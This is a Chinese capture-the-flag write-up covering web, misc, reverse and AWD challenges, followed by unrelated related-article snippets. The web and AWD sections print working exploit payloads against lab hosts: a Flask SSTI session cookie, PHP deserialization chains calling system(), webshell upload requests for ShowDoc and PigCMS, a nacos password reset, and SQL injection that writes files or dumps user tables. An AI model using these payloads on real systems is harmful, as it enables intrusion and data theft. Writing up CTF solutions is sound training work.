掌控安全 暖冬杯 CTF Writeup By AheadSec

image.png

本来结束时发到了学校AheadSec的群里面了的,觉得这比赛没啥好外发WP的,但是有些师傅来问了,所以还是发一下吧。

文章目录

  • Web
    • 签到:又一个计算题
    • 计算器
    • PHP反序列化
    • 又一个PHP反序列化
  • Misc
    • 这是邹节伦的桌面背景图
    • 什么鬼?这是图片
    • 五颜六色的图片
    • 流量分析
    • 你会解码吗?
    • Cryptography
  • Reverse
    • xor
    • init
  • AWD
    • 漏洞挖掘--签到题
    • 开胃小菜
    • 老day装新酒
    • 小小bypass
    • 有点东西,传什么?
    • 前台
    • 什么注?
    • 夺宝


Web

签到:又一个计算题

image.png

计算器

扫目录能看到/admin路径
doCalc的源码报错下面能看到获取了一个username参数
以及 secret_key
image.png
利用 https://github.com/noraj/flask-session-cookie-manager.git 生成payload

python3 flask_session.py encode -s 7Wt4VH26Pb -t '{"username":"{%print(((lipsum.__globals__.__builtins__.__import__(\"os\").popen(\"cat /root/runtime/flag.py\")).read()))%}"}'

得到

.eJwlykEKAyEMQNGrlMCAbnTfswwEp02HgJoQ46IMc_cK3f0H_4I5yHppBE-4NjXuHkKorGO2hHhWOUodiKuPydW5_8FNxRwx7CBjh5hUlPrSq_gjm4hnm925Uf7Ucib9rikmo_IOMcbthvsH50grQw.ZWWEtw.doCCqKuEePHIGvmlq0LVAUt3aDU

最后可直接获取flag

GET /admin HTTP/1.1
Host: kso7fdtw.lab.aqlab.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.61
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
DNT: 1
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=.eJwlykEKAyEMQNGrlMCAbnTfswwEp02HgJoQ46IMc_cK3f0H_4I5yHppBE-4NjXuHkKorGO2hHhWOUodiKuPydW5_8FNxRwx7CBjh5hUlPrSq_gjm4hnm925Uf7Ucib9rikmo_IOMcbthvsH50grQw.ZWWEtw.doCCqKuEePHIGvmlq0LVAUt3aDU

image.png

PHP反序列化

<?php
  error_reporting(0);
highlight_file(__FILE__);
class evil{
  public $cmd;
  public $a;
  public function __destruct(){
    if('VanZZZZY' === preg_replace('/;+/','VanZZZZY',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
      eval($this->cmd.'givemegirlfriend!');
    } else {
      echo 'nonono';
    }
  }
}

if(!preg_match('/^[Oa]:[\d]+|Array|Iterator|Object|List/i',$_GET['Pochy'])){
  unserialize($_GET['Pochy']);
} else {
  echo 'nonono';
}

exp:

<?php class evil
{
  public $cmd="eval(next(getallheaders()));__halt_compiler();";
  }
  $a=new SplStack();
$a->push(new evil());
$b=serialize($a);
echo($b);

http://ywft1o9f.lab.aqlab.cn/?Pochy=C:8:%22SplStack%22:84:{i:6;:O:4:%22evil%22:1:{s:3:%22cmd%22;s:46:%22eval(next(getallheaders()));__halt_compiler();%22;}}

User-Agent: system('cat flag.php');

又一个PHP反序列化

链子

R::welcome() <- E::__invoke <- K::__call <- C::__get() <- A::__toString() <- H::welcome()

构造POP

<?php 
class A
{
    public $hacker;
    public  function __toString()
    {
        echo $this->hacker->name;
        return "";
    }
}
class C
{
    public $finish;
    public function __get($value)
    {
        $this->finish->hacker();
        echo 'nonono';
    }
}
class E
{
    public $hacker;

    public  function __invoke($parms1)
    {   
        echo $parms1;
        $this->hacker->welcome();
    }
}

class H
{
    public $username="admin";
    public function __destruct()
    {
        $this->welcome();

    }
    public  function welcome()
    {
        echo "welcome~ ".$this->username;
    }
}

class K
{
    public $func;
    public function __call($method,$args)
    {
        call_user_func($this->func,'welcome');
    }
}

class R
{
    public $method;
    public $args;

    public  function welcome()
    {
        if ($this->key === true && $this->finish1->name) {
            if ($this->finish->finish) {
                call_user_func_array($this->method,$this->args);
            }
        }
    }
}


$H = new H();
$A = new A();
$C = new C();
$K = new K();
$E = new E();
$R = new R();
$R -> method = 'syssystemtem';
$R -> args = ['cat f*'];
$E -> hacker = $R;
$K -> func = $E;
$K -> func -> hacker -> key = True;
$K -> func -> hacker -> finish1 -> name = True;
$K -> func -> hacker -> finish -> finish = True;
$C -> finish = $K;
$A -> hacker = $C;
$H -> username = $A;
echo serialize($H);


// O:1:"H":1:{s:8:"username";O:1:"A":1:{s:6:"hacker";O:1:"C":1:{s:6:"finish";O:1:"K":1:{s:4:"func";O:1:"E":1:{s:6:"hacker";O:1:"R":5:{s:6:"method";s:12:"syssystemtem";s:4:"args";a:1:{i:0;s:6:"cat f*";}s:3:"key";b:1;s:7:"finish1";O:8:"stdClass":1:{s:4:"name";b:1;}s:6:"finish";O:8:"stdClass":1:{s:6:"finish";b:1;}}}}}}}
 ?>

双写绕过替换为空,非法传参绕过,并且因为对反序列化字符串有一次替换,原本的长度会有变化,手工修改长度
image.png

po[p.er=
O:1:"H":1:{s:8:"username";O:1:"A":1:{s:6:"hacker";O:1:"C":1:{s:6:"finish";O:1:"K":1:{s:4:"func";O:1:"E":1:{s:6:"hacker";O:1:"R":5:{s:6:"method";s:6:"syssystemtem";s:4:"args";a:1:{i:0;s:6:"cat f*";}s:3:"key";b:1;s:7:"finish1";O:8:"stdClass":1:{s:4:"name";b:1;}s:6:"finish";O:8:"stdClass":1:{s:6:"finish";b:1;}}}}}}}

查看源码即可获得flag
image.png

Misc

这是邹节伦的桌面背景图

image.png
压缩包提取出来,指定解压这两张没有加密的图
image.png
双图盲水印

PS D:\Tools\Misc\BlindWaterMark> python .\bwmforpy3.py decode .\source.png .\result.png flag1.png
image<.\source.png> + image(encoded)<.\result.png> -> watermark<flag1.png>
PS D:\Tools\Misc\BlindWaterMark>

压缩包密码:Ctf-Game-Start
image.png

ctf{c5364cb0-882f-11ee-b421-000c29a4e4e5}

什么鬼?这是图片

每隔八个字节逆序
image.png
脚本简单处理即可

hexData = ''
with open('resutl.png', 'rb') as f:
	pngData = ""
	hexData = bytes.hex(f.read())
	for i in range(0, len(hexData), 16):
		blockData = hexData[i:i+16][::-1]
		for j in range(0, len(blockData), 2):
			byteData = blockData[j:j+2][::-1]
			pngData += byteData
with open('flag.png', 'wb') as f:
	f.write(bytes.fromhex(pngData))

image.png
最终flag是CTF包裹

ctf{d77aa664-8834-11ee-a068-000c29a4e4e5}

五颜六色的图片

读RGB转ZIP,脚本简单处理

from PIL import Image

with Image.open('rgb.png') as img:
	width, height = img.size
	hexData = ""
	for h in range(height):
		for w in range(width):
			pix = img.getpixel((w, h))
			for p in pix:
				hexData += '{:02x}'.format(p)
with open('flag.zip', 'wb') as f:
	f.write(bytes.fromhex(hexData))

解压得到flag

ctf{1c7c3eec-8841-11ee-b9bf-000c29a4e4e5}

流量分析

tcp.stream eq 49

image.png
解压密码

PS C:\Users\Administrator\Downloads> php -r "var_dump(base64_decode('QzovZmxhZyhjdGZfZ2FtZSkuemlw'));"
Command line code:1:
string(21) "C:/flag(ctf_game).zip"
hexData = "504b0304140001000000328875576f42da69350000002900000008000000666c61672e747874f0ffcbadf3f92591d9efa30772829a2c9dfc9e88c4eceac0ab03fa3f25e8aca42a6de2845121b58c6169f1c01b768dfc8bede44c06504b01023f00140001000000328875576f42da693500000029000000080024000000000000002000000000000000666c61672e7478740a002000000000000100180069c39454591cda0100000000000000000000000000000000504b050600000000010001005a0000005b0000000000316263646666353739633436"
with open('flag111.zip', 'wb') as f:
	f.write(bytes.fromhex(hexData))

解压得到flag

ctf{87bb9ae4-884c-11ee-9329-000c29a4e4e5}

你会解码吗?

查看源码
image.png
URL解码得到Quoted-printable编码
image.png
解码得到社会主义核心价值观编码
image.png
然后社会主义核心价值观解码得到ASCII
image.png

>>> ''.join([chr(int(i)) for i in '102,108,97,103,123,74,110,76,88,121,112,71,52,53,95,48,98,105,77,48,51,125'.split(',')])
'flag{JnLXypG45_0biM03}'

Cryptography

参考 : https://blog.csdn.net/qq_47875210/article/details/127576150
然后flag一直交不对
d36d8d7c132181c3a105e3a7bef5af5.png
即可拿到flag

Reverse

xor

加密过程是对上一个字符进行异或
image.png
exp

enc = [0x66, 0x0A, 0x6B, 0x0C, 0x77, 0x26, 0x4F, 0x2E, 0x40, 0x11, 
  0x78, 0x0D, 0x5A, 0x3B, 0x55, 0x11, 0x70, 0x19, 0x46, 0x1F, 
  0x76, 0x22, 0x4D, 0x23, 0x44, 0x0E, 0x67, 0x06, 0x68, 0x0F, 
  0x47, 0x32, 0x4F]

flag = ''

for i in range(len(enc)-1, 0, -1):
    enc[i] ^= enc[i-1]
    flag += chr(enc[i])

print('f'+flag[::-1])
# flag{QianQiuWanDai_YiTongJiangHu}

init

使用IDA打开发现异或
image.png
在compara中找到密文
image.png
exp:

enc = [0x66, 0x6D, 0x63, 0x64, 0x7F, 0x56, 0x69, 0x6A, 0x6D, 
       0x7D, 0x62, 0x62, 0x62, 0x6A, 0x51, 0x7D, 0x65, 0x7F, 0x4D, 
       0x71, 0x71, 0x73, 0x79, 0x65, 0x7D, 0x46, 0x77, 0x7A, 0x75, 0x73, 0x21, 0x62]

for i in range(len(enc)):
    print(chr(enc[i] ^ i), end='')
# flag{Something_run_before_main?}

AWD

漏洞挖掘–签到题

修改nacos密码

 curl  -d "username=nacos1&newPassword=123456"  -X PUT http://glkb-qkj2.aqlab.cn/nacos/v1/auth/users

登录直接拿flag

开胃小菜

Ruoyi 后台 远程加载jar包拿shell
参考 https://github.com/lz2y/yaml-payload-for-ruoyi

老day装新酒

POST /showdoc/index.php?s=/home/page/uploadImg HTTP/1.1
Host: u4py83-eo3.aqlab.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173617
Content-Length: 268

----------------------------921378126371623762173617
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain

<?php echo '123_test';@eval($_GET[cmd])?>
----------------------------921378126371623762173617--
	

直接拿shell
image.png

小小bypass

整体思路是任意文件读取+注入拿地址
首先注册个账号
image.png

手机号为
13650955537
密码随便
image.png

登录之后抓包拿下token
image.png

之后在通过SSRF拿到flag,程序后端会将他存到本地,然后将路径存入到数据库中
漏洞点位于application/api/logic/UserLogic.php
image.png
之后在通过前台的注入拿到flag值
注入点

http://m8o3fug2.lab.aqlab.cn/api/goods_comment/category?goods_id=*

sqlmap直接梭哈可拿到头像图片路径
访问图片路径即可拿到flag

有点东西,传什么?

是个Nday
直接上传webshell

 curl "http://c88f07ac9.lab.aqlab.cn/index.php/upload/ajax_upload_chat?type=image" -F file=@1.php

前台

PigCMS
直接穿马 路径会回显

POST /cms/manage/admin.php?m=manage&c=background&a=action_flashUpload HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----aaa

------aaa
Content-Disposition: form-data; name="filePath"; filename="test.php"
Content-Type: video/x-flv

<?php phpinfo();?>
------aaa

什么注?

通过堆叠将flag outfile到web路径上 可直接读取

http://bwo330m4vx.lab.aqlab.cn/index.php?s=api/goods_detail&goods_id=1;select load_file('/flag.txt') into outfile '/var/www/localhost/htdocs/xx22211111111.txt';#

夺宝

前台注入拿到后台admin hash+后台缓存getshell
参考 https://mp.weixin.qq.com/s/BAHeQYjp-eVgkkGayM11eQ

然后自己构造一个tamper,跑SQLMap即可

sqlmap --dbms="mysql" -u "http://m8o3fug2.lab.aqlab.cn/api/goods_comment/category?goods_id=*" -D likeshop  -T ls_user --dump

还有宝塔waf 这有点离谱了
但是还好 可以使用readfile函数直接读取flag
靶场关了用下文章的图
image.png
把那个eval换成readfile('/www/wwwroot/mawd16-20.aqlab.cn/flag.php')即可拿到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/222693.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Linux学习笔记之七(shell脚本的基本语法)

Shell 1、Shell脚本2、常用运算符2、特殊语法4、关于变量的一些命令4.1、echo4.2、export4.3、read4.4、declare/typeset4.5、local4.6、unset 5、基本逻辑语法5.1、if判断5.2、for循环5.3、while循环5.4、case语句 6、函数定义7、多脚本链接 1、Shell脚本 学习shell脚本开发之…

Halcon深度学习,语义分割,预处理和部署过程

halcon在深度学习中提供了7种学习方式和例子。其中最为常见的为语义分割&#xff0c;一般使用与在需要标注显示的缺陷检测项目中。几乎所有的2D缺陷检测都可以使用语义分割作为项目部署。 先上完整程序 预处理部分 *** 设置输入输出路径 *** *总路径 AllDir : E:/HALCONDeepin…

JavaScript的一个代码小挑战

题目 我们正在开发一个足球投注应用程序! 假设我们从一个网络服务获取了一场比赛的数据&#xff08;如下所示&#xff09;。在这个挑战中&#xff0c;我们将处理这些数据。这里是你的任务&#xff1a; const game {team1: Bayern Munich,team2: Borrussia Dortmund,players:…

适合家具集团的ERP软件有哪些?家具集团用什么ERP软件好

不同的家具企业有不同的经营策略和管理方式&#xff0c;同时在各个发展阶段遇会遇到各种新的问题&#xff0c;而这也对企业的信息化水平有着较高的要求。 另外&#xff0c;集团型家具企业通常涉及多仓库、多工厂、多平台、多业务模式等&#xff0c;而这些业务数据的实时和准确…

【趣味篇】Scratch之圣诞节跑酷

【作品展示】圣诞节跑酷 操作&#xff1a;点击小绿旗进入游戏主页面&#xff0c;不仅可以选择角色&#xff0c;而且选择好的角色还可以进行游戏闯关。

相对路径与绝对路径

1、相对路径与绝对路径 定义&#xff1a;要去的path是否和当前页面有联系 绝对&#xff1a; 1、http://www.baidu.com/a/b 2、/a/b 如果没有host则会直接取当前站点的host &#xff08;location.origion&#xff09; 相对&#xff1a; 1、当前是 http://www.baidu.com/a/b…

图像批量设计软件Retrobatch Pro mac中文版功能特色

Retrobatch Mac是一款灵活的批量图像处理工具。用户可以自由创建Workflow来实现相应的功能&#xff0c;这些Workflow能取代大量的重复劳动&#xff0c;提高生产力。Retrobatch Mac的一般操作是从左边栏拖动相应动作到工作区形成节点&#xff08;Nodes&#xff09;&#xff0c;节…

python+paddleocr 进行图像识别、找到文字在屏幕中的位置

目录 前言 1、安装paddleocr 2、安装PIL 3、安装numpy 4、 安装pyautogui 5、进行文本识别 6、识别结果 7、获取文字在图片/屏幕中的位置 8、pyautoguipaddleocr鼠标操作 9、完整代码 前言 最近在做自动化测试&#xff0c;因为是处理过的界面&#xff0c;所以使用pyw…

机器人制作开源方案 | 自主型收集餐盘机器人

作者&#xff1a;蔡佳怡、朱启会、郭晨杰、杨昊天、焦家辉 单位&#xff1a;西安外事学院 指导老师&#xff1a;杜喜昭、张燕 1. 产品说明 1.1 设计目的 对于如学校、工厂这种大型食堂&#xff0c;一般的收餐盘模式为用餐人用餐完毕后&#xff0c;把餐盘拿到最近的收餐盘点&…

社交泛娱乐出海,市场 赛道、投放 变现的最新干货分享

&#xff08;全网都在找的《社交泛娱乐出海作战地图》&#xff0c;点击获取&#x1f446;&#xff09; 11 月 29 日&#xff0c;融云、Flat Ads、Alibaba Cloud、TopOn 联合主办的“泛娱乐社交 App 出海新风口”主题沙龙在浙江杭州圆满收官。关注【融云全球互联网通信云】了解…

deepflow本地部署过程

本地服务器配置&#xff0c;32C&#xff0c;48G内存 整个过程需要配置k8s&#xff0c;安装helm, 安装grafana, 安装deepflow以及deepflow-ctl&#xff0c;以及部署demo 在采用sealos进行ALL-IN-ONE部署之前&#xff0c; grafana 先安装它 wget -q -O /usr/share/keyrings/gr…

自动化定时发送天气提醒邮件

&#x1f388; 博主&#xff1a;一只程序猿子 &#x1f388; 博客主页&#xff1a;一只程序猿子 博客主页 &#x1f388; 个人介绍&#xff1a;爱好(bushi)编程&#xff01; &#x1f388; 创作不易&#xff1a;如喜欢麻烦您点个&#x1f44d;或者点个⭐&#xff01; &#x1f…

智能安全芯片ACH512芯片描述及功能

ACH512 芯片是一款基于安全算法的高性能 SOC 芯片&#xff0c; 主要应用于 eMMC/SD/Nandflash 大容量存储设备、加密 U 盘、指纹识别等市场。 芯片采用 32 位内核&#xff0c;片内集成多种安全密码模块&#xff0c;包括SM1、 SM2、 SM3、 SM4、 SSF33 算法以及RSA/ECC、 ECDSA、…

4WRPH6C3B24L-2X/G24Z4/M伺服比例方向阀控制板

4WRPH6C3B12L-2X/G24Z4/M、4WRPH6C3B40P-2X/G24Z4/M、4WRPH6C3B40L-2X/G24Z4/M、4WRPH6C4B24L-2X/G24Z4/M、4WRPH6C4B40L-2X/G24Z4/M、4WRPH6C3B24L-2X/G24Z4/M、4WRPH10C4B100L-2X/G24Z4/M、4WRPH10C3B100L-2X/G24K0/M-750适合控制4WRPH系列比例伺服阀&#xff0c;用于安装在架…

rt-thread主线程启动流程

rt-thread主线程启动流程 1.启动分析2.源码分析 1.启动分析 基于&#xff1a;rt-thread-v5.0.1 先执行&#xff1a;汇编代码startup_stm32f429xx.s开始运行&#xff0c;主要调用SystemInit和 __main ; Reset handler Reset_Handler PROCEXPORT Reset_Handler …

功率信号源工作原理是什么

功率信号源是一种专门产生大功率信号的设备&#xff0c;主要用于驱动高功率负载&#xff0c;如电机、变频器等。其工作原理涉及信号生成、放大和输出三个关键步骤。 首先&#xff0c;信号生成。功率信号源通常会采用各种信号发生器来产生不同类型的信号波形。这些信号可以是正弦…

DenseNet分类网络改进(添加SPP)--亲测有效

最近&#xff0c;我在做多分类问题。在针对基模型的选择中&#xff0c;我使用了DenseNet作为基本模型。我在阅读论文时&#xff0c;遇到了一种改进方式&#xff1a; 如上图所示&#xff0c;在全连接层之前引入SPP模块&#xff1a; 代码如下&#xff1a; SPP模块代码&#x…

6 大 Android 照片恢复软件深度评测

当您发现令人难忘的照片在 Android 上被错误删除或丢失时&#xff0c;您可能会感到非常沮丧。然而&#xff0c;当您尝试安装一些恢复应用程序并希望将它们重新恢复时&#xff0c;其中许多应用程序无法再次检测到丢失的照片。 为了节省您逐一尝试此类应用程序的时间&#xff0c…

yum命令详解和使用

目录 一、yum介绍 常见的软件封包类型 RPM的含义 二、 yum命令格式 三、常用命令 3.1 yum清空缓存列表 3.2 yum显示信息 3.2 yum安装 3.3 yum删除 3.4 yum包的更新和升级 四、常用的国内 yum 源 一、yum介绍 Yum(全称为 Yellow dog Updater, Modified)&#xff0c;是…

西工大计算机学院计算机系统基础实验一(环境配置)

首先&#xff0c;不要焦虑&#xff0c;稳住心态慢慢来&#xff0c;一点一点做&#xff0c;跟着作者把基础打好&#xff0c;比什么都重要。作者曾经经历过这份痛苦&#xff0c;知道它有多么不好受。当初的作者高中之前甚至都没有自己的一台笔记本&#xff0c;上了大学以后学C语言…